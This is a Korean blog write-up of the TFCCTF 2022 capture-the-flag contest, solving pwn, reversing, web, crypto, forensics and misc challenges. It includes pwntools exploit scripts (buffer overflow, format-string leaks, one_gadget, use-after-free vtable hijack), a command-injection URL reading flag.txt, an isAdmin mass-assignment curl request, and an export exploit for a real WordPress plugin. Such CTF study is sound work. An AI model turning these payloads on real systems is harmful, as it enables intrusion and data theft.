TFCCTF 2022 Write-up
마지막 씨텝 나간게 벌써 1년이 훌쩍 넘었다... 감을 다 잃은 거 같아서 그냥 가볍게 주말에 열리는 대회에 참가했당.
푼거
PWN
Random
RANDOM
I created a random number generator as a project. Unfortunately it only has one option, but I will add more soon (or not)!
걍 1337인가 입력하면 플래그 줌.
winner
WINNER
You just won a contest! What do you do?
What is the flag?
걍 bof 문제엿음. win 함수 호출하면 끝. stack alignment 맞춰주기위해 ret 하나 추가
sol.py
#!/usr/bin/python3
from pwn import *
context.log_level = 'debug'
#r = process('./winner')
r = remote('01.linux.challenges.ctf.thefewchosen.com',54070)
#gdb.attach(r, 'b* main')
win = p64(0x4011BA)
payload = b'A' * 8 * 0xf
payload += p64(0x4012ec) # ret
payload += win
r.sendlineafter(b'Congratulations! You have just won a contest! Input your name to claim your prize: ', payload)
r.interactive()
getenv
GETENV
Everyone knows you can get env variables with getenv. That's why I don't give you a chance to use it!
바이너리가 제공되지 않아서, 처음에 띠용했던 문제. 단순한 echo 서비스였는데, fsb가 있었음.
환경변수 데이터가 main 함수 스택 영역보다 높은 주소에 존재하기 때문에, %{num}$s 로 출력이 가능함.
브포때려서 플래그 출력하면 끝.
sol.py
#!/usr/bin/python3
from pwn import *
def check(payload):
r = remote('01.linux.challenges.ctf.thefewchosen.com',49274)
# context.log_level = 'debug'
r.sendlineafter('surprise me\n', payload)
data = b''
try:
data = r.recv(1024, timeout=2)
except:
pass
r.close()
return data
def find_flag():
for i in range(1,200):
payload = f'%{i}$s'
data = check(payload)
if b'TFCCTF' in data:
success(data)
break
print(i,data)
find_flag()
travel
TRAVEL
If you're planning a vacation this is the best tool ever!
---
Canary : ✓
NX : ✓
PIE : ✓
Fortify : ✘
RelRO : ✘
fsb도 있고, bof도 있었음.
fsb로 카나리랑 libc 릭하고 ret one_gadget으로 덮으면 끝
sol.py
#!/usr/bin/python3
from pwn import *
context.log_level = 'debug'
r = process('./travel', env={'LD_PRELOAD':'./libc.so.6'})
r = remote('01.linux.challenges.ctf.thefewchosen.com', 57248)
e = ELF('./travel')
libc = ELF('./libc.so.6')
addr_libc_start_main = libc.symbols['__libc_start_main']
addr_system = libc.symbols['system']
str_binsh = next(libc.search(b'/bin/sh'))
#gdb.attach(r, 'b* main+300\nb* main+200')
# 6$ rsp
# 35$ ret
payload = '%22$p%33$p%35$p'
r.sendlineafter(b'Where do you want to go?', payload)
r.recvuntil('hmm...')
data = str(r.recvline())
data = data.split(' ')[1].split('0x')
print(data)
#code_base = int(data[1], 16) - 0x40
canary = int(data[1], 16)
libc_base = int(data[2], 16) - 0x29d90
ones = [0xebcf8, 0xebcf5, 0xebcf1, 0x50a37]
one_gadget = libc_base + ones[3]
#log.info('code_base = ' + hex(code_base))
log.info('stack canary = ' + hex(canary))
log.info('libc_base = ' + hex(libc_base))
log.info('one_gadget = ' + hex(one_gadget))
#printf_got = code_base + 0x033B8
#payload = b'/bin/sh;'
payload = b'A' * 0xc8
payload += p64(canary)
payload += p64(libc_base + 0x127f00)
payload += p64(one_gadget)
payload += b'\x00'
r.sendlineafter('When do you want to go?', payload)
r.interactive()
message
문제 설명을 잃어버렷다.. 문제 서버가 너무 빨리 닫혔다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
User *v3; // rbx
int v4; // [rsp+4h] [rbp-2Ch] BYREF
void *User; // [rsp+8h] [rbp-28h]
char *s; // [rsp+10h] [rbp-20h]
unsigned __int64 v7; // [rsp+18h] [rbp-18h]
v7 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
User = 0LL;
s = 0LL;
while ( 1 )
{
while ( 1 )
{
puts("1. Create user\n2. Inspect user\n3. Remove user\n4. Create message for the admins");
__isoc99_scanf("%d", &v4);
if ( v4 != 4 )
break;
s = (char *)malloc(0x10uLL);
getchar();
fgets(s, 16, stdin);
printf("%p %p\n", User, s);
}
if ( v4 > 4 )
{
LABEL_13:
puts("invalid option");
}
else
{
switch ( v4 )
{
case 3:
if ( User )
operator delete(User, 0x10uLL); // // uaf
break;
case 1:
v3 = (User *)operator new(0x10uLL);
User::User(v3);
User = v3;
break;
case 2:
(**(void (__fastcall ***)(void *))User)(User);// User::inspect()
break;
default:
goto LABEL_13;
}
}
}
}
Use-after-free 취약점이 존재하며, dangling 포인터를 case 2 에서 그냥 호출하는 것을 알 수 있다. User 객체의 첫번째 주소가 User::Inspect 함수이기 때문에, 해당 함수를 호출한다. Admin::Inspect 라는 플래그를 출력해주는 함수가 존재하므로, User::Inspect 대신 Admin::Inspect가 호출되도록 조정하면 된다.
우선 0x10 사이즈의 chunk 를 할당받고 free 하기 때문에, 이는 모두 Tcache bin 에 들어간다. 그냥 1. 객체 할당 -> 3. Free -> 4. 해당 객체의 첫 번째 8바이트에 &&Admin::Inspect 값 입력 -> 2. Admin::Inspect 호출 하면 된다.
&&Admin::Inspect 한 값은 Admin vtable에 존재하는 데이터를 참고하면 된다.
sol.py
#!/usr/bin/python3
from pwn import *
def choice(num):
r.sendlineafter(b'4. Create message for the admins\n', num)
r = process('./message')
# context.log_level = 'debug'
# gdb.attach(r, 'b* main+252')
# 1. create user
# 3. delete user
# 4. create message
# 2. inspect message
choice(b'1')
choice(b'3')
choice(b'4')
r.sendline(p64(0x0403DE8)) # .data.rel.ro:0000000000403DE8 off_403DE8 dq offset _ZN5Admin9printFlagEv
choice(b'2')
r.interactive()
REV
source
SOURCE
My intern likes to hide things in apps, but they don't give me the source code. What can I do?
걍 data 영역에 있는 플래그 확인하면 끝
forest
FOREST
You are walking through a forest... can you escape?
What is the first correct input?
What is the second correct input?
What is the third correct input?
Rust 바이너리임. 앞부분에 이것저것 하는 과정이 많아서 그렇지, 각 스테이지가 하나의 함수로 구성되어서 해당 루틴만 찾으면 쉬움.
그냥 단순 문자열 비교임. 각 스테이지 답은 sure, okay, help! 였음
WEB
ROBOTS AND MUSIC
ROBOTS AND MUSIC
Do you like old music?
robots.txt 를 살펴보면 g00d_old_mus1c.php 경로를 확인할 수 있고 해당 경로로 가면 플래그 확인할 수 있음.
http://01.linux.challenges.ctf.thefewchosen.com:49380/robots.txt
http://01.linux.challenges.ctf.thefewchosen.com:49380/g00d_old_mus1c.php
PONG
PONG
Some random website that can ping hosts.
http://01.linux.challenges.ctf.thefewchosen.com:49388/index.php?host=127.0.0.1 주소로 들어가면 다음과 같이 command injection인거를 추측할 만한 내용이 있음.
Command executed: ping -c 2 127.0.0.1
플래그 위치 찾아서 다음과 같이 읽으면 끝.
http://01.linux.challenges.ctf.thefewchosen.com:49388/index.php?host=;%20cat%20../../../flag.txt
Crypto
OBSCURE
T̶̨̧͈͍̥͚̭̜͇̻̥̘̹̝̩͍̦̜͕͉̥̳͑̎͋͊͛͗̆͐̄͂̀̒͛̉̿̏̈̕̚̚̕͝͝͝ͅF̶̡̛̛͖̝̹̹͔̟̝̟̠̩̲̱͉̻̭̻̮͓̲̮͈̜̅̔̈͐̀̾̋͊̈́͛͆̿̀̓͐̓͋̃͛̃́̑̀̽͂̋̌̐̎̕̕͘͝͠͝͝ͅC̵̢̨̨͓̞̥̠̲̗̝̯̥̥͚̙̰̣̼̻̤̳͓͙̺̤͊̍͊̌̍̎̀̅̽͊͘͘͘͜͝͠͝͝ͅÇ̶̼̫͎̬̰͓̰̭̺̼̥̮͖͗̾͐́̉͂͂͗̏̿̂̀͝͝Ṭ̷̛͓̑̓̓̒́̋̒̃̋͊̑̎͐͐̋̈̆̉́̀̏͑̀̾̎͒̾̉̃̄̊͂́͐̈́͘͘͜͝͝F̴̢̨̡̛̥̠̪̤̞͔̝̞̳̱̙̰̲̙̠̬̻̥̜͔̲̯͚̳̖̩̺͈̬͍̪̥̯͙̱͙͔̞̰̮̦̼̼͐͒͆̿̓̓͑̎͊̋͂͑̅̈́͗̃͆͊̓̆̈́͂́̆͌͂̈̔́̔̎̀̾̕̕̚͝͝͝͝͠ͅ{̴̧̡̡̛͈̻̥̙̯̜͓̥̣͔̣͐̄̂̋͋̏͋̌̍̔̀̎̿̍̈́̐̏͒̓̒̉̐́̓̓̽̕̕͝͠s̴̝̬͒̾͗̌̓͊̚ͅ3̷̢̧͓̬̳̯̜̦͉̜̗͚̗̳̩̻͉͍̼͓͍̼͚̝͔͙̗̞͎͚̼͈̹̞͋̉̆̈́͊̐̓̔͋̈͂́̔̈́͒͗̀́̂̏͒͜͝ç̷̛͉͔̮̯̳͚̘̜͇̗͖̟̫̇͋̇̑͆̀͊̈̌̅̀̿̓͊̓̀̉́̀̓̋̊͐͊̒̌͒͒̈́̒̅̀̽̾͗̾͌̃̉̾̚̚̕̕͝͝ư̵̼̑̔͌̉͆͒̅͗̆̑̌̀̀͗̒̾̎͆̇̄̃̀̒̉̂͂̀̍̃̄̈͐̈́̔̔̈́̽̚͘̕͘ͅr̵̛̼͊̽̔̋͠1̶̧̡̨̡̢̧̡̛̗̼͓̣͖̖̖̫̲̻̰͇̫̘̖̞͖̬̤͔̙̠̪̦͙̮̝̫͔͕͈̗̙͇̫̩̫͔̩͂̾͆̈́̂̌͋̕͜͜ͅͅṭ̶̡̢̢̧̨̡̡̨̧̨̛͔̜̳̥̤̰̖̩̟̬̰̖̥̹̼͈̦̥̣͇̭͎̻̻͔̪͍̻̜͎͉͙͇̣̿̑̂̈́̇̉̄͑̅͂͐̒̽́̀̏̓̂͑͐͌̈̂̔͑̐͆̐̏͆́́̾̑̈́͑͌͐̓̊̕̚͘͜ͅẙ̸̢̨̛̹̻͉͇͎̭̻̙̭͔͎̺̤̤̻͓̼̮͈̤͈͈̠̞̪̠͉̗̺̟̙͈̖̲̪̫̖͔̟̟̇̇̿̎̊̀̊̔͌̀̀͒͐͋̀̍̃͒̂̈́͆͋̍͐̑̀̓̿̓̈́͑̊̇͆̿̓͐̓̉̕͘̕̕̚͜͠͝_̷̡̡̨̡̛̛̗̩͔̫̗̭̟̣̗͙͇͇̩̣̼̟̱͖̯̥͎̽͋́̽̈́̎͗̿͊͗͂̒̓͑͛̾̄̿͛̄͛͛́͌͐̀t̷̢̛̰̟̹͖̪̝͕̭̩͚̬̙̃͐̎͐͂͒͆̒̔̊̀͛̂̿̑̀̇͊͋̇̌̅͛̀͂͋̿̈́̈́̽̍̕͝͠͝ḩ̶̢̡̡̛̺͈̺̙͚̪͕͚̹̺̥͚̦͚̺̯̬̣͚͕͔̖̝̞̖͔̙͉͔̟̼͕͖̙̐̃͋̈͛̽́̔̈͐́́̒̏̂̄̊̔̿̍̀̓̅̽̆̍̐̌̈́̋̈́̀̿̓̐́̐͌̓͘̚͘͜͠͝͠͝ͅr̸̢̡͙̼̜̬̤̗̯̪͇̩͓͕͓͓̝͇͖̎͂̏͆͝ͅ0̷̨̛̛̛̛̯̖̞̮̦̞̫̜͕̱̻̞͎̯͎̮͑̿͆̀͛̔͆̈́̈̆̑̄̅͂̇̄́̀́̒̋̇̓̍̀̈́̂̈́̀̀̂̅̅̑́͌̋̈́͘̕̕̕̚͝ų̶̧̡̢̖͓̲̞̭̗̦̠̹̥̙̱̙̥̯̗̭̩͙͔̜̙̼̻̼̞͛̂͆̀̾̃̈́͑̈́̔̈́̾̉̄̌͗̀͊̔̈́̌́͜͠͝͠g̷̢̨̡̜̩̘̺͎̮̻̼͙̱̱͈̣̳̣̻̜͒̓͗̍͌̈́͌̉͑̽̕͝͝ͅh̸̛̛͓̯̣̼̫̦̐͗̀̾̉̅̑́͌̈́͌́͑̔̈́̇̄͘̕͝͝_̶̭̹̩̳̯͙̯͕͔̼̔̈͑̉͗͌̚͜͝0̵̢̧̛͎̭̣͈̼̳͍͚͖̲͚̗̮͖̲̼͍̼̮̖̩͖̫͔̱͓̥̯̹̥͎͖̳͈̻̝̬̪̙̪̩̬̀̉̽̂̑̓̓͐̂̐̉͆̇́̂͌̈́̏͆͗̒̋̅̋̚̕͜͜͜͝͠ͅḇ̵̨̡̨͍͖͔͚̰̠͚͇̤̝̦̺͎͙̱̭̥̼̹̞͓̜̙͕͕͚͍̩͈̭̱͖̍̌̇͆̄̏̃͌͆͛̑̀͑̂̅̍̔̐̾̽̓̑̈̇͑̃̉̎͂̐̅̆́͐̿͌͗̕͘̚̕͘̕̚͘͜͝͝͝ͅͅs̸̡̨̯̬̰̠̖̟̹͈̞͎͉͉͓̠̺̹̣̲̺̬̜̝͓͓̰͍̖̹̮̹̩̥̆̾̐͘ͅç̷̡̩͍̥̘̳̺͎͉͓͖̭̝̖̹̬̗̞̲̞̬̹̼̱̫͓͙̤̤̖̦͕͓̱̝̯͇̼͚͕̳̿͆̀͒͊̎̅͐̂͗̾̀͊͑͊́̊̈͒͂̾́͂̓̓̀̏͋͂̿̆̀͒̇̚͘͝͝ͅü̶̧̨̡̲̩̥͇̘͇̣͕̞̗͓̳̗͉̲͔̻̪̪͕̖͈̪̳̤̤͈̫̹͉̞̝͖͎͕̥̻̣̖̼̰̣̰̦̈̂̿̉̋̂̔̎̓͂̎̍̾̉͂̆̈͌̐͆̓̊͋͑͒̚͜͜͠͝͠͝͝ͅr̵̨̢̨̡̡͓̭͍̲̗͍̼̬̰̗̱̩̼̰̤͓̞̤͔͇͎̪̱̱̺͈̭͆͜ͅ1̶̡̧̨̛͕̟̹͚̹̫̮̖͚̯̲̰̤̙͉͌͆̈́̽̀͗̿̓̑͒̄̌̓̓̓͗̇̒̃̑̏̊͑̋̅̎̔͂͑̔͑̈̄̉̚͘͝ṭ̶̡̼̲͓̺̝̱̮͈̱͈͔̞̙͚̝̬̳͑͌͆̀̆̄͆̀͌͐̂̽̓̾͂̀́͗͗̍͒̆̏̓͌͒͌́̒̑̐́̃͘͝͝ẏ̸̨̡̨̞̰̜̜̟̦͎̣͍͎̳̝̮̼̦͚̮̖͈̺͓̮̲̤͙̞͕̰͖̩̭̮̯̆̌̊́̀̈́̈́̓̈́͛̌̈́́̄͋̍̇̍͌͑̃̀̈̐̋̄̐̈́̉͌̀̀̀͑̏͐̄́̿̅̽͊̉͘͘͜͝͝͠ͅͅ}̴̨̧̡̨̛̛̞̝̼̫͈̝̞̣̣͈̥̫͙̻͓̯̮̻͇̤̦̼͍̱̥̞̥͔̙̹̲͈̲̥̤͚͚͕̺̫̗͍͖͎̆͗̍̈͠ͅͅ
걍 확대해서 글자를 입력했다.
나중에 알고보니 https://lingojam.com/CursedText 사이트에 가서 정상 텍스트로 변환할 수 있더라.
Forensics
ADDING IN PARTS
ADDING IN PARTS
I stored my data in multiple files for extra security. But they all got corrupted somehow.
NOTE: The flag IS in TFCCTF{...} format. No need to add that part yourself. Beware of flag-like strings
문제 파일을 압축풀면 손상된 압축파일 21개가 나옴. 이 압축파일들은 각 각 플래그의 한 글자 1 byte 데이터를 압축한 압축파일임. 압축파일의 crc 값은 데이터 값으로 계산하기 때문에, printable 한 ascii 값들을 모두 crc 계산한 뒤 압축파일의 crc 값과 비교하여 원래 있었던 데이터를 찾아냄.
sol.py
#!/usr/bin/python3
import zlib
import string
printable = string.printable
flag = ''
for i in range(0, 22):
filename = str(i) + '.zip'
with open(filename, 'rb') as f :
data = f.read()[0xe:0xe+4]
originCRC = int.from_bytes(data, 'little')
for char in printable :
if zlib.crc32(char.encode()) == originCRC:
flag += char
break
print(flag)
crash
CRASH
Oh no! My computer crashed. Can you help me find out why?
What is the module name?
What is the latest entry on the call stack?
What is the process name?
What is the bug check name?
What is the value of the IRQL? (full name)
What is the SID for the integrity level of the process?
걍 windbg에서 !analyze -v 명령어로 분석하면 정보 다 나와있음.
못푼거
WEB
calendar
CALENDAR
Are online calendars trusty?
Note: The website displays "Error establishing a database connection" at startup. Please wait ~10 seconds and refresh
The flag is format :TFCCTF{FOUNDPASSWORD}
들어가니까 워드프레스로 만든 블로그에 댓글 기능이 있길래 XSS 이런 거 인줄알았는데, 알려진 취약점 찾는 거였음.
사이트 접속 시 요청하는 GET url들을 살펴보면 5.16.2 버전의 modern-events-calendar-lite 라는 플러그인을 사용하는 것을 알 수 있음. http://01.linux.challenges.ctf.thefewchosen.com:49252/wp-content/plugins/modern-events-calendar-lite/assets/js/events.js?ver=5.16.2
이걸 바탕으로 구글링을 해보면, 다음과 같이 exploit db에 알려진 공격코드를 확인할 수 있음.
Description:
Lack of authorisation checks in the Modern Events Calendar Lite WordPress plugin,
versions before 5.16.5, did not properly restrict access to the export files,
allowing unauthenticated users to exports all events data in CSV or XML format for example.
모든 이벤트 데이터를 csv 파일로 뽑을 수 있다는데 다음 주소를 붙이면 실제로 csv 파일을 뽑을 수 있음.
/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv
해당 파일의 패스워드가 플래그
deep link
DEEPLINKS
My intern configured my iOS app and my website to handle deeplinks, but they didn't tell me the path :( Can you help me find it?
IOS deep link는 /apple-app-site-association을 뒤에 붙여서 테스트하면 됨.
http://01.linux.challenges.ctf.thefewchosen.com:49431/apple-app-site-association
{
"applinks": {
"apps": [],
"details": [
{
"appID": "ABCDEFGHIJ.com.example.example",
"paths": ["TFCCTF{4ppl3_4pp_51t3_4550c14t10n}"]
}
]
}
}
Are you the Admin?
Are you Admin?
Do you have what it takes to be the admin?
/api/auth 로 post 데이터 전송 시 body 에 isAdmin 값을 넣어주면 끝
curl -i -H 'Content-Type: application/json' -d '{"username":"charlie","isAdmin":true}' 'http://01.linux.challenges.ctf.thefewchosen.com:49443/api/auth'
MISC
pattern
String multiplication as a service!
대충 아래와 같은 코드로 이루어진 서비스였는데, pattern 에 입력된 사용자 입력 값이 마지막 줄의 f-string 문에 들어가게 되는 구조이다.
FLAG = 'THIS_IS_FLAG'
@dataclasses.dataclass
class Message:
message: str
def __str__(self):
return self.message
__repr__ = __str__
MESSAGES = [
Message("Thank you for using our service."),
Message("Here is your pattern:"),
Message("Until next time!")
]
pattern = input("pattern> ")
count = int(input("count> "))
final_pattern = pattern * count
print(f"{{message}} {final_pattern}".format(message=random.choice(MESSAGES)))
f-string 문 내에서 {message} 라는 키워드로 Message 객체에 접근이 가능한데, {message.__init__.__globals__} 로 전역변수 FLAG에 접근이 가능하다.
CONCLUSION
오랜만에 ctf에 참여하니 재밌었다. 혼자 뛰니까 전체적으로 푸는 문제 수가 팀으로 뛸 때보다는 줄었지만, 1인당 푸는 문제가 많다보니까 신나서 에너지가 계속 생겼던 것 같다.
원래 웹은 그냥 등한시했었는데, 앞으로는 웹 문제도 풀고 싶어서 이번 대회에서도 종종 봤다. 웹 문제 특성인지, 이 대회 특성인지 모르겠는데, 1-day 취약점 문제가 많아서 푸는 입장에서는 어려웠지만, 롸업 볼 때는 재밌게 봤다.
시스템 해킹 문제는 좀 쉽게 나온 것 같다. 딱히 chunk를 복잡하게 엮어야하는 문제도 없었고 쉬운 편이었다. 그런데 바이너리가 제공되지 않는 문제가 좀 있어서, 걔네는 어떻게 건들지 좀 까마득했던 것 같다. 풀지 못한 나머지 문제가 모두 쉘코드 짜는 문제 있었는데, 노가다 문제인 거 같아서 그냥 다른 문제를 봤다.
리버싱 문제가 좀 아쉬웠다. 모바일 문제가 두 문제 있었는데, 하나는 dart 로 만들어진 안드로이드 앱이었고, 하나는 ios 앱이었다. 모바일 분석 환경 구축이 전혀 되어있지 않던 터라 어떻게 정적으로 해보려고 했는데, 코드 따는 것부터 실패했다. ㅜ dart 앱은 jadx로 분석하기가 어려운 것 같았고, ipa는 zip 파일로 변환해서 코드 추출할 수 있을 줄 알았는데, 별거 나오는게 없었다. 이 쪽은 좀 더 공부해봐야겠다.
역시 CTF를 뛰면 배우는게 많다. 앞으로도 종종 뛰어야겠다.
'Write-up' 카테고리의 다른 글
[CSAW 2020] PwnVoltex (0) | 2020.10.14 |
---|---|
[HEVD] StackOverflow (0) | 2020.10.14 |
[GoogleCTF2020] Android writeup (2) | 2020.08.31 |
[MidnightSun CTF 2020] StarCraft writeup (0) | 2020.07.26 |
Uncrackable 2 (0) | 2020.07.15 |